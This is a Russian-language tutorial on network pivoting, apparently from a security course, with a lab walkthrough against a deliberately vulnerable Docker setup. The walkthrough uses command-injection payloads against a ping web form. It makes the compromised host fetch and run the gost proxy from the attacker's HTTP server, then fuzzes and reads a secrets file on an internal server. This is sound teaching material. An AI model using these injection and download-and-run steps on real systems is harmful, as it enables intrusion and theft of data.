# Проброс сетевого трафика

Pivoting (англ. Pivot – “точка опоры”) – набор техник, с помощью которых организовывается доступ к тем сетям, к которым нет доступа при обычных обстоятельствах. При этом доступ получен с использованием скомпрометированных компьютеров.

Прокси-сервер (англ. “Proxy”) — промежуточный сервер в компьютерных сетях, выполняющий роль посредника между  
пользователем и целевым сервером, позволяющий клиентам как выполнять косвенные запросы к другим сетевым службам, так и получать ответы.

Туннелирование в компьютерных сетях (англ. “Tunneling”) — процесс, в ходе которого создается логическое соединение  
между двумя конечными точками посредством инкапсуляции различных протоколов.

Переадресация портов (англ. “Port Forwarding”) — проброс портов, который также иногда называемый перенаправлением портов или туннелированием, – это процесс пересылки трафика, адресованного конкретному сетевому порту с одного сетевого узла на другой.

Port2Port (также известный как P2P) — это техника перенаправления сетевого трафика между двумя различными портами на  
одном и том же компьютере или между двумя разными компьютерами.

Port2Hostnet — это техника перенаправления сетевого трафика через порт в сеть удаленного узла.

**Общая задача**

Есть доступ к системе ОС Linux, задача — найти сервисы внутренней сети и получить к ней доступ со своей рабочей машины.

Задачу проброса трафика можно разделить по:

Инструментам:

- Подходы, использующие внутренние инструменты ОС: ssh, nc, bash и пр.
- Подходы, использующие внешние утилиты: socat, meterpreter, gost и пр.

Методам:

- Стандартные протоколы, не использующие скрытие трафика: TCP, UDP, HTTPS, SSH, VPN.
- Нестандартные протоколы, позволяющие обходить системы обнаружения, ограничения и скрывать наличие туннеля: ICMP, DNS, HTTPS (в виде легитимных запросов к приложению).

Проблемы, присущие методам проброса трафика

- Нестабильность соединений.
- Исключение возможности использовать протоколы ниже прикладного или транспортного уровня.
- Детектирование зловредного трафика в сети.
- Ограничение соединений между узлами, логическими сегментами сети, используемыми портами.

**Стандартные протоколы для проброса трафика**

Встроенные утилиты:

<table border="1" id="bkmrk-%D0%9F%D0%BB%D1%8E%D1%81%D1%8B-%D0%9C%D0%B8%D0%BD%D1%83%D1%81%D1%8B-%D0%A3%D0%B4%D0%BE%D0%B1%D1%81%D1%82%D0%B2" style="border-collapse: collapse; width: 100%; height: 59.5938px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><thead><tr style="height: 29.7969px;"><td class="align-center" style="height: 29.7969px;">Плюсы</td><td class="align-center" style="height: 29.7969px;">Минусы</td></tr></thead><tbody><tr style="height: 29.7969px;"><td style="height: 29.7969px;">Удобство и простота использования.  
Возможность использования почти на любой ОС.  
Относительная надежность соединения.</td><td style="height: 29.7969px;">Во многих встроенных утилитах отсутствует механизм шифрования трафика.</td></tr></tbody></table>

Внешние утилиты:

<table border="1" id="bkmrk-%D0%9F%D0%BB%D1%8E%D1%81%D1%8B-%D0%9C%D0%B8%D0%BD%D1%83%D1%81%D1%8B-%D0%92%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD" style="border-collapse: collapse; width: 100%; height: 59.5938px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><thead><tr style="height: 29.7969px;"><td class="align-center" style="height: 29.7969px;">Плюсы</td><td class="align-center" style="height: 29.7969px;">Минусы</td></tr></thead><tbody><tr style="height: 29.7969px;"><td style="height: 29.7969px;">Внедрение механизмов шифрования.  
Добавление дополнительных функций поддержания туннеля.  
Возможность установки в большинство ОС для использования при отсутствии встроенных механизмов.</td><td style="height: 29.7969px;">Необходимость установки потенциально вредоносного ПО.  
Необходимость разбираться в сложных правилах проброса трафика.  
Относительная ненадежность использования собственного ПО.</td></tr></tbody></table>

**Пример**

Лабораторный стенд:

[https://stepik-files.cyber-ed.space/WhiteHat/socket-lab.zip](https://stepik-files.cyber-ed.space/WhiteHat/socket-lab.zip)

//Открыт один порт 1337, нужно найти другие открытые для внутреннего использования порты и получить опубликованные файлы на скрытом web сервере

Дано: есть доступ на машину jump. Задача — получить удобный доступ к сервису: target:80 Ход действий

1. Запускаем лабораторный стенд: ```
    $ docker-compose up -d
    ```
2. Проверяем доступность сервиса pinger через web-интерфейс.
3. Проверяем возможность инъекции команд, затем соберем информацию о сервисе: ```
    1.1.1.1; ls
    hostname -I
    ```
4. IP-адрес принадлежит локальной сети, попробуем найти в ней другие хосты, скрытые в локальной сети: ```
    curl 172.22.0.2
    ```
5. Чтобы найти файл на скрытом web-сервере, используем ffuf, но для этого необходимо стабильное соединение с целевым сервером через промежуточный хост. Используем прокси из проекта [Go simple tunnel](https://github.com/ginuerzh/gost) Скачиваем бинарный файл из релизов, выбираем сборку для Linux с amd64, например [https://github.com/ginuerzh/gost/releases/download/v2.11.5/gost-linux-amd64-2.11.5.gz](https://github.com/ginuerzh/gost/releases/download/v2.11.5/gost-linux-amd64-2.11.5.gz)
6. Подготовим веб-сервер для передачи этого файла на атакуемую машину: ```
    $ cd /tmp
    $ mkdir http; cd http
    $ wget https://github.com/ginuerzh/gost/releases/download/v2.11.5/gost-linux-amd64-2.11.5.gz
    $ gunzip gost-linux-amd64-2.11.5.gz # распаковка архива с бинарником
    $ mv gost-linux-amd64-2.11.5 gost
    $ python3 -m http.server 3000
    ```
7. Определяем наш IP-адрес и в браузере выполняем скачивание файла через интерфейс pinger: ```
    1.1.1.1 | curl 172.20.10.7:3000/gost --output gost
    ```
8. Выдаем права на исполнение и запускаем туннель ```
    chmod +x gost
    1.1.1.1 | ./gost -L=:1338
    ```
9. Настроим утилиту ffuf для использования прокси для обнаружения файлов на удаленном веб-сервере с IP 172.22.0.2 в локальной сети используя словарь [fuzz.txt](https://github.com/empty-jack/YAWR/blob/master/Web/files_and_directories/fuzz.txt) ```
    http_proxy=127.0.0.1:1338 ffuf -w ~/Repositories/YAWR/Web/files_and_directories/fuzz.txt -u http://172.22.0.2/FUZZ -fc 403
    ```
10. Получим файл config.inc~, прочтем его с помощью curl и получим секрет: ```
    1.1.1.1 | curl 172.22.0.2/config.inc~
    ```